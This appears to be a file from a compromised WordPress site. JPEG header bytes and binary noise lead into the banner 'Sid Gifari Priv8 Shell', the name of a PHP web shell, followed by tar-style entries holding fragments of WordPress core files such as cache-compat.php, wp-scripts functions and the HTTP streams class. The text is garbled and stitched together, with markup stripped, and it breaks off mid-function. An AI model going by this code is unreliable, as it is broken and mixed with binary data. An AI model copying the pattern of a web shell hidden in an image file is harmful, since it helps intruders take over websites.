���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��Sid Gifari Priv8 Shell cache-compat.php000064400000010344147177035010007610 0ustar00 $value ) { $values[ $key ] = wp_cache_add( $key, $value, $group, $expire ); } return $values; } endif; if ( ! function_exists( 'wp_cache_set_multiple' ) ) : /** * Sets multiple values to the cache in one call. * * Differs from wp_cache_add_multiple() in that it will always write data. * * Compat function to mimic wp_cache_set_multiple(). * * @ignore * @since 6.0.0 * * @see wp_cache_set_multiple() * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false on failure. */ function wp_cache_set_multiple( array $data, $group = '', $expire = 0 ) { $values = array(); foreach ( $data as $key => $value ) { $values[ $key ] = wp_cache_set( $key, $value, $group, $expire ); } return $values; } endif; if ( ! function_exists( 'wp_cache_get_multiple' ) ) : /** * Retrieves multiple values from the cache in one call. * * Compat function to mimic wp_cache_get_multiple(). * * @ignore * @since 5.5.0 * * @see wp_cache_get_multiple() * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ function wp_cache_get_multiple( $keys, $group = '', $force = false ) { $values = array(); foreach ( $keys as $key ) { $values[ $key ] = wp_cache_get( $key, $group, $force ); } return $values; } endif; if ( ! function_exists( 'wp_cache_delete_multiple' ) ) : /** * Deletes multiple values from the cache in one call. * * Compat function to mimic wp_cache_delete_multiple(). * * @ignore * @since 6.0.0 * * @see wp_cache_delete_multiple() * * @param array $keys Array of keys under which the cache to deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ function wp_cache_delete_multiple( array $keys, $group = '' ) { $values = array(); foreach ( $keys as $key ) { $values[ $key ] = wp_cache_delete( $key, $group ); } return $values; } endif; if ( ! function_exists( 'wp_cache_flush_runtime' ) ) : /** * Removes all cache items from the in-memory runtime cache. * * Compat function to mimic wp_cache_flush_runtime(). * * @ignore * @since 6.0.0 * * @see wp_cache_flush_runtime() * * @return bool True on success, false on failure. */ function wp_cache_flush_runtime() { return wp_using_ext_object_cache() ? false : wp_cache_flush(); } endif; functions.wp-scripts.php000064400000032250147177035010011406 0ustar00wp_enqueue_scripts', 'admin_enqueue_scripts', 'login_enqueue_scripts' ); if ( $handle ) { $message .= ' ' . sprintf( /* translators: %s: Name of the script or stylesheet. */ __( 'This notice was triggered by the %s handle.' ), '' . $handle . '' ); } _doing_it_wrong( $function, $message, '3.3.0' ); } /** * Prints scripts in document head that are in the $handles queue. * * Called by admin-header.php and {@see 'wp_head'} hook. Since it is called by wp_head on every page load, * the function does not instantiate the WP_Scripts object unless script names are explicitly passed. * Makes use of already-instantiated $wp_scripts global if present. Use provided {@see 'wp_print_scripts'} * hook to register/enqueue new scripts. * * @see WP_Scripts::do_item() * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts. * * @since 2.1.0 * * @param string|bool|array $handles Optional. Scripts to be printed. Default 'false'. * @return string[] On success, an array of handles of processed WP_Dependencies items; otherwise, an empty array. */ function wp_print_scripts( $handles = false ) { global $wp_scripts; /** * Fires before scripts in the $handles queue are printed. * * @since 2.1.0 */ do_action( 'wp_print_scripts' ); if ( '' === $handles ) { // For 'wp_head'. $handles = false; } _wp_scripts_maybe_doing_it_wrong( __FUNCTION__ ); if ( ! ( $wp_scripts instanceof WP_Scripts ) ) { if ( ! $handles ) { return array(); // No need to instantiate if nothing is there. } } return wp_scripts()->do_items( $handles ); } /** * Adds extra code to a registered script. * * Code will only be added if the script is already in the queue. * Accepts a string $data containing the Code. If two or more code blocks * are added to the same script $handle, they will be printed in the order * they were added, i.e. the latter added code can redeclare the previous. * * @since 4.5.0 * * @see WP_Scripts::add_inline_script() * * @param string $handle Name of the script to add the inline script to. * @param string $data String containing the JavaScript to be added. * @param string $position Optional. Whether to add the inline script before the handle * or after. Default 'after'. * @return bool True on success, false on failure. */ function wp_add_inline_script( $handle, $data, $position = 'after' ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); if ( false !== stripos( $data, '' ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: #is', '$1', $data ) ); } return wp_scripts()->add_inline_script( $handle, $data, $position ); } /** * Register a new script. * * Registers a script to be enqueued later using the wp_enqueue_script() function. * * @see WP_Dependencies::add() * @see WP_Dependencies::add_data() * * @since 2.1.0 * @since 4.3.0 A return value was added. * * @param string $handle Name of the script. Should be unique. * @param string|bool $src Full URL of the script, or path of the script relative to the WordPress root directory. * If source is set to false, script is an alias of other scripts it depends on. * @param string[] $deps Optional. An array of registered script handles this script depends on. Default empty array. * @param string|bool|null $ver Optional. String specifying script version number, if it has one, which is added to the URL * as a query string for cache busting purposes. If version is set to false, a version * number is automatically added equal to current installed WordPress version. * If set to null, no version is added. * @param bool $in_footer Optional. Whether to enqueue the script before `` instead of in the ``. * Default 'false'. * @return bool Whether the script has been registered. True on success, false on failure. */ function wp_register_script( $handle, $src, $deps = array(), $ver = false, $in_footer = false ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); $wp_scripts = wp_scripts(); $registered = $wp_scripts->add( $handle, $src, $deps, $ver ); if ( $in_footer ) { $wp_scripts->add_data( $handle, 'group', 1 ); } return $registered; } /** * Localize a script. * * Works only if the script has already been registered. * * Accepts an associative array $l10n and creates a JavaScript object: * * "$object_name" = { * key: value, * key: value, * ... * } * * @see WP_Scripts::localize() * @link https://core.trac.wordpress.org/ticket/11520 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts. * * @since 2.2.0 * * @todo Documentation cleanup * * @param string $handle Script handle the data will be attached to. * @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable. * Example: '/[a-zA-Z0-9_]+/'. * @param array $l10n The data itself. The data can be either a single or multi-dimensional array. * @return bool True if the script was successfully localized, false otherwise. */ function wp_localize_script( $handle, $object_name, $l10n ) { global $wp_scripts; if ( ! ( $wp_scripts instanceof WP_Scripts ) ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); return false; } return $wp_scripts->localize( $handle, $object_name, $l10n ); } /** * Sets translated strings for a script. * * Works only if the script has already been registered. * * @see WP_Scripts::set_translations() * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts. * * @since 5.0.0 * @since 5.1.0 The `$domain` parameter was made optional. * * @param string $handle Script handle the textdomain will be attached to. * @param string $domain Optional. Text domain. Default 'default'. * @param string $path Optional. The full file path to the directory containing translation files. * @return bool True if the text domain was successfully localized, false otherwise. */ function wp_set_script_translations( $handle, $domain = 'default', $path = null ) { global $wp_scripts; if ( ! ( $wp_scripts instanceof WP_Scripts ) ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); return false; } return $wp_scripts->set_translations( $handle, $domain, $path ); } /** * Remove a registered script. * * Note: there are intentional safeguards in place to prevent critical admin scripts, * such as jQuery core, from being unregistered. * * @see WP_Dependencies::remove() * * @since 2.1.0 * * @global string $pagenow The filename of the current screen. * * @param string $handle Name of the script to be removed. */ function wp_deregister_script( $handle ) { global $pagenow; _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); /** * Do not allow accidental or negligent de-registering of critical scripts in the admin. * Show minimal remorse if the correct hook is used. */ $current_filter = current_filter(); if ( ( is_admin() && 'admin_enqueue_scripts' !== $current_filter ) || ( 'wp-login.php' === $pagenow && 'login_enqueue_scripts' !== $current_filter ) ) { $not_allowed = array( 'jquery', 'jquery-core', 'jquery-migrate', 'jquery-ui-core', 'jquery-ui-accordion', 'jquery-ui-autocomplete', 'jquery-ui-button', 'jquery-ui-datepicker', 'jquery-ui-dialog', 'jquery-ui-draggable', 'jquery-ui-droppable', 'jquery-ui-menu', 'jquery-ui-mouse', 'jquery-ui-position', 'jquery-ui-progressbar', 'jquery-ui-resizable', 'jquery-ui-selectable', 'jquery-ui-slider', 'jquery-ui-sortable', 'jquery-ui-spinner', 'jquery-ui-tabs', 'jquery-ui-tooltip', 'jquery-ui-widget', 'underscore', 'backbone', ); if ( in_array( $handle, $not_allowed, true ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: Script name, 2: wp_enqueue_scripts */ __( 'Do not deregister the %1$s script in the administration area. To target the front-end theme, use the %2$s hook.' ), "$handle", 'wp_enqueue_scripts' ), '3.6.0' ); return; } } wp_scripts()->remove( $handle ); } /** * Enqueue a script. * * Registers the script if $src provided (does NOT overwrite), and enqueues it. * * @see WP_Dependencies::add() * @see WP_Dependencies::add_data() * @see WP_Dependencies::enqueue() * * @since 2.1.0 * * @param string $handle Name of the script. Should be unique. * @param string $src Full URL of the script, or path of the script relative to the WordPress root directory. * Default empty. * @param string[] $deps Optional. An array of registered script handles this script depends on. Default empty array. * @param string|bool|null $ver Optional. String specifying script version number, if it has one, which is added to the URL * as a query string for cache busting purposes. If version is set to false, a version * number is automatically added equal to current installed WordPress version. * If set to null, no version is added. * @param bool $in_footer Optional. Whether to enqueue the script before `` instead of in the ``. * Default 'false'. */ function wp_enqueue_script( $handle, $src = '', $deps = array(), $ver = false, $in_footer = false ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); $wp_scripts = wp_scripts(); if ( $src || $in_footer ) { $_handle = explode( '?', $handle ); if ( $src ) { $wp_scripts->add( $_handle[0], $src, $deps, $ver ); } if ( $in_footer ) { $wp_scripts->add_data( $_handle[0], 'group', 1 ); } } $wp_scripts->enqueue( $handle ); } /** * Remove a previously enqueued script. * * @see WP_Dependencies::dequeue() * * @since 3.1.0 * * @param string $handle Name of the script to be removed. */ function wp_dequeue_script( $handle ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); wp_scripts()->dequeue( $handle ); } /** * Determines whether a script has been added to the queue. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.8.0 * @since 3.5.0 'enqueued' added as an alias of the 'queue' list. * * @param string $handle Name of the script. * @param string $list Optional. Status of the script to check. Default 'enqueued'. * Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'. * @return bool Whether the script is queued. */ function wp_script_is( $handle, $list = 'enqueued' ) { _wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle ); return (bool) wp_scripts()->query( $handle, $list ); } /** * Add metadata to a script. * * Works only if the script has already been registered. * * Possible values for $key and $value: * 'conditional' string Comments for IE 6, lte IE 7, etc. * * @since 4.2.0 * * @see WP_Dependencies::add_data() * * @param string $handle Name of the script. * @param string $key Name of data point for which we're storing a value. * @param mixed $value String containing the data to be added. * @return bool True on success, false on failure. */ function wp_script_add_data( $handle, $key, $value ) { return wp_scripts()->add_data( $handle, $key, $value ); } version.php000064400000001641147177035010006751 0ustar00name = 'feed_' . $filename; $this->mod_name = 'feed_mod_' . $filename; $lifetime = $this->lifetime; /** * Filters the transient lifetime of the feed cache. * * @since 2.8.0 * * @param int $lifetime Cache duration in seconds. Default is 43200 seconds (12 hours). * @param string $filename Unique identifier for the cache object. */ $this->lifetime = apply_filters( 'wp_feed_cache_transient_lifetime', $lifetime, $filename ); } /** * Sets the transient. * * @since 2.8.0 * * @param SimplePie $data Data to save. * @return true Always true. */ public function save( $data ) { if ( $data instanceof SimplePie ) { $data = $data->data; } set_transient( $this->name, $data, $this->lifetime ); set_transient( $this->mod_name, time(), $this->lifetime ); return true; } /** * Gets the transient. * * @since 2.8.0 * * @return mixed Transient value. */ public function load() { return get_transient( $this->name ); } /** * Gets mod transient. * * @since 2.8.0 * * @return mixed Transient value. */ public function mtime() { return get_transient( $this->mod_name ); } /** * Sets mod transient. * * @since 2.8.0 * * @return bool False if value was not set and true if value was set. */ public function touch() { return set_transient( $this->mod_name, time(), $this->lifetime ); } /** * Deletes transients. * * @since 2.8.0 * * @return true Always true. */ public function unlink() { delete_transient( $this->name ); delete_transient( $this->mod_name ); return true; } } class-wp-http-streams.php000064400000040323147177035010011446 0ustar00 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null, 'cookies' => array(), ); $parsed_args = wp_parse_args( $args, $defaults ); if ( isset( $parsed_args['headers']['User-Agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['User-Agent']; unset( $parsed_args['headers']['User-Agent'] ); } elseif ( isset( $parsed_args['headers']['user-agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['user-agent']; unset( $parsed_args['headers']['user-agent'] ); } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $parsed_args ); $parsed_url = parse_url( $url ); $connect_host = $parsed_url['host']; $secure_transport = ( 'ssl' === $parsed_url['scheme'] || 'https' === $parsed_url['scheme'] ); if ( ! isset( $parsed_url['port'] ) ) { if ( 'ssl' === $parsed_url['scheme'] || 'https' === $parsed_url['scheme'] ) { $parsed_url['port'] = 443; $secure_transport = true; } else { $parsed_url['port'] = 80; } } // Always pass a path, defaulting to the root in cases such as http://example.com. if ( ! isset( $parsed_url['path'] ) ) { $parsed_url['path'] = '/'; } if ( isset( $parsed_args['headers']['Host'] ) || isset( $parsed_args['headers']['host'] ) ) { if ( isset( $parsed_args['headers']['Host'] ) ) { $parsed_url['host'] = $parsed_args['headers']['Host']; } else { $parsed_url['host'] = $parsed_args['headers']['host']; } unset( $parsed_args['headers']['Host'], $parsed_args['headers']['host'] ); } /* * Certain versions of PHP have issues with 'localhost' and IPv6, It attempts to connect * to ::1, which fails when the server is not set up for it. For compatibility, always * connect to the IPv4 address. */ if ( 'localhost' === strtolower( $connect_host ) ) { $connect_host = '127.0.0.1'; } $connect_host = $secure_transport ? 'ssl://' . $connect_host : 'tcp://' . $connect_host; $is_local = isset( $parsed_args['local'] ) && $parsed_args['local']; $ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify']; if ( $is_local ) { /** * Filters whether SSL should be verified for local HTTP API requests. * * @since 2.8.0 * @since 5.1.0 The `$url` parameter was added. * * @param bool $ssl_verify Whether to verify the SSL connection. Default true. * @param string $url The request URL. */ $ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url ); } elseif ( ! $is_local ) { /** This filter is documented in wp-includes/class-wp-http.php */ $ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url ); } $proxy = new WP_HTTP_Proxy(); $context = stream_context_create( array( 'ssl' => array( 'verify_peer' => $ssl_verify, // 'CN_match' => $parsed_url['host'], // This is handled by self::verify_ssl_certificate(). 'capture_peer_cert' => $ssl_verify, 'SNI_enabled' => true, 'cafile' => $parsed_args['sslcertificates'], 'allow_self_signed' => ! $ssl_verify, ), ) ); $timeout = (int) floor( $parsed_args['timeout'] ); $utimeout = $timeout == $parsed_args['timeout'] ? 0 : 1000000 * $parsed_args['timeout'] % 1000000; $connect_timeout = max( $timeout, 1 ); // Store error number. $connection_error = null; // Store error string. $connection_error_str = null; if ( ! WP_DEBUG ) { // In the event that the SSL connection fails, silence the many PHP warnings. if ( $secure_transport ) { $error_reporting = error_reporting( 0 ); } if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $handle = @stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } else { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $handle = @stream_socket_client( $connect_host . ':' . $parsed_url['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } if ( $secure_transport ) { error_reporting( $error_reporting ); } } else { if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { $handle = stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } else { $handle = stream_socket_client( $connect_host . ':' . $parsed_url['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } } if ( false === $handle ) { // SSL connection failed due to expired/invalid cert, or, OpenSSL configuration is broken. if ( $secure_transport && 0 === $connection_error && '' === $connection_error_str ) { return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) ); } return new WP_Error( 'http_request_failed', $connection_error . ': ' . $connection_error_str ); } // Verify that the SSL certificate is valid for this request. if ( $secure_transport && $ssl_verify && ! $proxy->is_enabled() ) { if ( ! self::verify_ssl_certificate( $handle, $parsed_url['host'] ) ) { return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) ); } } stream_set_timeout( $handle, $timeout, $utimeout ); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { // Some proxies require full URL in this field. $request_path = $url; } else { $request_path = $parsed_url['path'] . ( isset( $parsed_url['query'] ) ? '?' . $parsed_url['query'] : '' ); } $headers = strtoupper( $parsed_args['method'] ) . ' ' . $request_path . ' HTTP/' . $parsed_args['httpversion'] . "\r\n"; $include_port_in_host_header = ( ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) || ( 'http' === $parsed_url['scheme'] && 80 != $parsed_url['port'] ) || ( 'https' === $parsed_url['scheme'] && 443 != $parsed_url['port'] ) ); if ( $include_port_in_host_header ) { $headers .= 'Host: ' . $parsed_url['host'] . ':' . $parsed_url['port'] . "\r\n"; } else { $headers .= 'Host: ' . $parsed_url['host'] . "\r\n"; } if ( isset( $parsed_args['user-agent'] ) ) { $headers .= 'User-agent: ' . $parsed_args['user-agent'] . "\r\n"; } if ( is_array( $parsed_args['headers'] ) ) { foreach ( (array) $parsed_args['headers'] as $header => $header_value ) { $headers .= $header . ': ' . $header_value . "\r\n"; } } else { $headers .= $parsed_args['headers']; } if ( $proxy->use_authentication() ) { $headers .= $proxy->authentication_header() . "\r\n"; } $headers .= "\r\n"; if ( ! is_null( $parsed_args['body'] ) ) { $headers .= $parsed_args['body']; } fwrite( $handle, $headers ); if ( ! $parsed_args['blocking'] ) { stream_set_blocking( $handle, 0 ); fclose( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array( 'code' => false, 'message' => false, ), 'cookies' => array(), ); } $response = ''; $body_started = false; $keep_reading = true; $block_size = 4096; if ( isset( $parsed_args['limit_response_size'] ) ) { $block_size = min( $block_size, $parsed_args['limit_response_size'] ); } // If streaming to a file setup the file handle. if ( $parsed_args['stream'] ) { if ( ! WP_DEBUG ) { $stream_handle = @fopen( $parsed_args['filename'], 'w+' ); } else { $stream_handle = fopen( $parsed_args['filename'], 'w+' ); } if ( ! $stream_handle ) { return new WP_Error( 'http_request_failed', sprintf( /* translators: 1: fopen(), 2: File name. */ __( 'Could not open handle for %1$s to %2$s.' ), 'fopen()', $parsed_args['filename'] ) ); } $bytes_written = 0; while ( ! feof( $handle ) && $keep_reading ) { $block = fread( $handle, $block_size ); if ( ! $body_started ) { $response .= $block; if ( strpos( $response, "\r\n\r\n" ) ) { $processed_response = WP_Http::processResponse( $response ); $body_started = true; $block = $processed_response['body']; unset( $response ); $processed_response['body'] = ''; } } $this_block_size = strlen( $block ); if ( isset( $parsed_args['limit_response_size'] ) && ( $bytes_written + $this_block_size ) > $parsed_args['limit_response_size'] ) { $this_block_size = ( $parsed_args['limit_response_size'] - $bytes_written ); $block = substr( $block, 0, $this_block_size ); } $bytes_written_to_file = fwrite( $stream_handle, $block ); if ( $bytes_written_to_file != $this_block_size ) { fclose( $handle ); fclose( $stream_handle ); return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) ); } $bytes_written += $bytes_written_to_file; $keep_reading = ( ! isset( $parsed_args['limit_response_size'] ) || $bytes_written < $parsed_args['limit_response_size'] ); } fclose( $stream_handle ); } else { $header_length = 0; while ( ! feof( $handle ) && $keep_reading ) { $block = fread( $handle, $block_size ); $response .= $block; if ( ! $body_started && strpos( $response, "\r\n\r\n" ) ) { $header_length = strpos( $response, "\r\n\r\n" ) + 4; $body_started = true; } $keep_reading = ( ! $body_started || ! isset( $parsed_args['limit_response_size'] ) || strlen( $response ) < ( $header_length + $parsed_args['limit_response_size'] ) ); } $processed_response = WP_Http::processResponse( $response ); unset( $response ); } fclose( $handle ); $processed_headers = WP_Http::processHeaders( $processed_response['headers'], $url ); $response = array( 'headers' => $processed_headers['headers'], // Not yet processed. 'body' => null, 'response' => $processed_headers['response'], 'cookies' => $processed_headers['cookies'], 'filename' => $parsed_args['filename'], ); // Handle redirects. $redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response ); if ( false !== $redirect_response ) { return $redirect_response; } // If the body was chunk encoded, then decode it. if ( ! empty( $processed_response['body'] ) && isset( $processed_headers['headers']['transfer-encoding'] ) && 'chunked' === $processed_headers['headers']['transfer-encoding'] ) { $processed_response['body'] = WP_Http::chunkTransferDecode( $processed_response['body'] ); } if ( true === $parsed_args['decompress'] && true === WP_Http_Encoding::should_decode( $processed_headers['headers'] ) ) { $processed_response['body'] = WP_Http_Encoding::decompress( $processed_response['body'] ); } if ( isset( $parsed_args['limit_response_size'] ) && strlen( $processed_response['body'] ) > $parsed_args['limit_response_size'] ) { $processed_response['body'] = substr( $processed_response['body'], 0, $parsed_args['limit_response_size'] ); } $response['body'] = $processed_response['body']; return $response; } /** * Verifies the received SSL certificate against its Common Names and subjectAltName fields. * * PHP's SSL verifications only verify that it's a valid Certificate, it doesn't verify if * the certificate is valid for the hostname which was requested. * This function verifies the requested hostname against certificate's subjectAltName field, * if that is empty, or contains no DNS entries, a fallback to the Common Name field is used. * * IP Address support is included if the request is being made to an IP address. * * @since 3.7.0 * * @param resource $stream The PHP Stream which the SSL request is being made over * @param string $host The hostname being requested * @return bool If the certificate presented in $stream is valid for $host */ public static function verify_ssl_certificate( $stream, $host ) { $context_options = stream_context_get_options( $stream ); if ( empty( $context_options['ssl']['peer_certificate'] ) ) { return false; } $cert = openssl_x509_parse( $context_options['ssl']['peer_certificate'] ); if ( ! $cert ) { return false; } /* * If the request is being made to an IP address, we'll validate against IP fields * in the cert (if they exist) */ $host_type = ( WP_Http::is_ip_address( $host ) ? 'ip' : 'dns' ); $certificate_hostnames = array(); if ( ! empty( $cert['extensions']['subjectAltName'] ) ) { $match_against = preg_split( '/,\s*/', $cert['extensions']['subjectAltName'] ); foreach ( $match_against as $match ) { list( $match_type, $match_host ) = explode( ':', $match ); if ( strtolower( trim( $match_type ) ) === $host_type ) { // IP: or DNS: $certificate_hostnames[] = strtolower( trim( $match_host ) ); } } } elseif ( ! empty( $cert['subject']['CN'] ) ) { // Only use the CN when the certificate includes no subjectAltName extension. $certificate_hostnames[] = strtolower( $cert['subject']['CN'] ); } // Exact hostname/IP matches. if ( in_array( strtolower( $host ), $certificate_hostnames, true ) ) { return true; } // IP's can't be wildcards, Stop processing. if ( 'ip' === $host_type ) { return false; } // Test to see if the domain is at least 2 deep for wildcard support. if ( substr_count( $host, '.' ) < 2 ) { return false; } // Wildcard subdomains certs (*.example.com) are valid for a.example.com but not a.b.example.com. $wildcard_host = preg_replace( '/^[^.]+\./', '*.', $host ); return in_array( strtolower( $wildcard_host ), $certificate_hostnames, true ); } /** * Determines whether this class can be used for retrieving a URL. * * @since 2.7.0 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client(). * * @param array $args Optional. Array of request arguments. Default empty array. * @return bool False means this class can not be used, true means it can. */ public static function test( $args = array() ) { if ( ! function_exists( 'stream_socket_client' ) ) { return false; } $is_ssl = isset( $args['ssl'] ) && $args['ssl']; if ( $is_ssl ) { if ( ! extension_loaded( 'openssl' ) ) { return false; } if ( ! function_exists( 'openssl_x509_parse' ) ) { return false; } } /** * Filters whether streams can be used as a transport for retrieving a URL. * * @since 2.7.0 * * @param bool $use_class Whether the class can be used. Default true. * @param array $args Request arguments. */ return apply_filters( 'use_streams_transport', true, $args ); } } /** * Deprecated HTTP Transport method which used fsockopen. * * This class is not used, and is included for backward compatibility only. * All code should make use of WP_Http directly through its API. * * @see WP_HTTP::request * * @since 2.7.0 * @deprecated 3.7.0 Please use WP_HTTP::request() directly */ class WP_HTTP_Fsockopen extends WP_Http_Streams { // For backward compatibility for users who are using the class directly. } class.wp-scripts.php000064400000045164147177035010010513 0ustar00init(); add_action( 'init', array( $this, 'init' ), 0 ); } /** * Initialize the class. * * @since 3.4.0 */ public function init() { if ( function_exists( 'is_admin' ) && ! is_admin() && function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'script' ) ) { $this->type_attr = " type='text/javascript'"; } /** * Fires when the WP_Scripts instance is initialized. * * @since 2.6.0 * * @param WP_Scripts $wp_scripts WP_Scripts instance (passed by reference). */ do_action_ref_array( 'wp_default_scripts', array( &$this ) ); } /** * Prints scripts. * * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies. * * @since 2.1.0 * @since 2.8.0 Added the `$group` parameter. * * @param string|string[]|false $handles Optional. Scripts to be printed: queue (false), * single script (string), or multiple scripts (array of strings). * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return string[] Handles of scripts that have been printed. */ public function print_scripts( $handles = false, $group = false ) { return $this->do_items( $handles, $group ); } /** * Prints extra scripts of a registered script. * * @since 2.1.0 * @since 2.8.0 Added the `$display` parameter. * @deprecated 3.3.0 * * @see print_extra_script() * * @param string $handle The script's registered handle. * @param bool $display Optional. Whether to print the extra script * instead of just returning it. Default true. * @return bool|string|void Void if no data exists, extra scripts if `$display` is true, * true otherwise. */ public function print_scripts_l10n( $handle, $display = true ) { _deprecated_function( __FUNCTION__, '3.3.0', 'WP_Scripts::print_extra_script()' ); return $this->print_extra_script( $handle, $display ); } /** * Prints extra scripts of a registered script. * * @since 3.3.0 * * @param string $handle The script's registered handle. * @param bool $display Optional. Whether to print the extra script * instead of just returning it. Default true. * @return bool|string|void Void if no data exists, extra scripts if `$display` is true, * true otherwise. */ public function print_extra_script( $handle, $display = true ) { $output = $this->get_data( $handle, 'data' ); if ( ! $output ) { return; } if ( ! $display ) { return $output; } printf( "\n", $this->type_attr, esc_attr( $handle ) ); // CDATA is not needed for HTML 5. if ( $this->type_attr ) { echo "/* type_attr ) { echo "/* ]]> */\n"; } echo "\n"; return true; } /** * Processes a script dependency. * * @since 2.6.0 * @since 2.8.0 Added the `$group` parameter. * * @see WP_Dependencies::do_item() * * @param string $handle The script's registered handle. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function do_item( $handle, $group = false ) { if ( ! parent::do_item( $handle ) ) { return false; } if ( 0 === $group && $this->groups[ $handle ] > 0 ) { $this->in_footer[] = $handle; return false; } if ( false === $group && in_array( $handle, $this->in_footer, true ) ) { $this->in_footer = array_diff( $this->in_footer, (array) $handle ); } $obj = $this->registered[ $handle ]; if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset( $this->args[ $handle ] ) ) { $ver = $ver ? $ver . '&' . $this->args[ $handle ] : $this->args[ $handle ]; } $src = $obj->src; $cond_before = ''; $cond_after = ''; $conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : ''; if ( $conditional ) { $cond_before = "\n"; } $before_handle = $this->print_inline_script( $handle, 'before', false ); $after_handle = $this->print_inline_script( $handle, 'after', false ); if ( $before_handle ) { $before_handle = sprintf( "\n%s\n\n", $this->type_attr, esc_attr( $handle ), $before_handle ); } if ( $after_handle ) { $after_handle = sprintf( "\n%s\n\n", $this->type_attr, esc_attr( $handle ), $after_handle ); } if ( 